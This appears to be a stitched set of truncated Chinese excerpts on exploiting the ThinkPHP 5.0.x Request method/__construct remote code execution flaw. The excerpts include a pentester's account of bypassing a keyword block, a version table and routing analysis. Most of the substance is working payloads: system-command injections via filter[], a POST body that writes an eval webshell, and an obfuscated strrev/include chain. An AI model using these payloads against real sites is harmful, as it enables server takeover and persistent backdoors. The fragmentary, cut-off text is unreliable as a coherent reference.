在对某网站渗透过程中,通过报错页面发现网站架构为ThinkPHP 5.0.23,存在method RCE漏洞。但是,使用常规payload提示__construct关键字被禁用,因此payload无法生效。但是这个漏洞的关键点不在于__construct方法,而是Request类的method方法可以让我们调用类中的任意方法,因此,开始寻找另一条利用链。 分析 漏洞利用点 Request类...
payload分为两种类型,一种是因为Request类的method和__construct方法造成的(method可控,配合construct变量覆盖filter导致的),另一种是因为Request类在兼容模式下获取的控制器没有进行合法校验(兼容模式默认开启,由于没有进行合法校验,导致可以任意类的任意方法) 核心: 起点Request类的method和__construct造成的变量覆盖,终点...
s=captcha HTTP/1.1Host: localhostAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=...
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id 函数 参数 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 6.2漏洞分析 自行百度 6.3漏洞利用 写shell _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "%3C?php%20@eval(\$_POST[x]);?%...
二、核心类Requests引起的RCE 公开时间: 2019/01/11 影响版本: 5.0全系列,具体如下 版本名 是否可被攻击 攻击条件 5.0.0 否 无 5.0.1 否 无 5.0.2 否 无 5.0.3 否 无 5.0.4 否 无 5.0.5 否 无 5.0.6 否 无 5.0.7 否 无 5.0.8 是 无需开启debug 5.0.9 是 无需...
流程分析1http://127.0.0.1/thinkphp/tp5.0.22w/public/?s=captcha _method=__construct&filter[]=system&method=get&get[]=whoami先进行路由注册,调用了完整核心下的think-captcha/src的helper.php文件,这里的值就会影响self::$rules的值进入app.php,进入routecheck方法...
其实如果不考虑其他的代码,类似这样提交参数_method=__construct&filter[]=system&s=whoami通过以上代码可以重新调用构造函数,这样就会通过变量覆盖将fileter覆盖为system 实际上,这也是前几个版本5.0.10远程代码执行的构造原理,至于s是什么,等到第二章再解释。但是大家可以注意到,thinkphp/think/App.php中有一句$requ...
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php ``` ThinkPHP 5.0.X 的一个小trick,在目标启用了 debug 模式下并通过敏感功能点传递空数组时可能会引起程序异常从而导致敏感信息泄...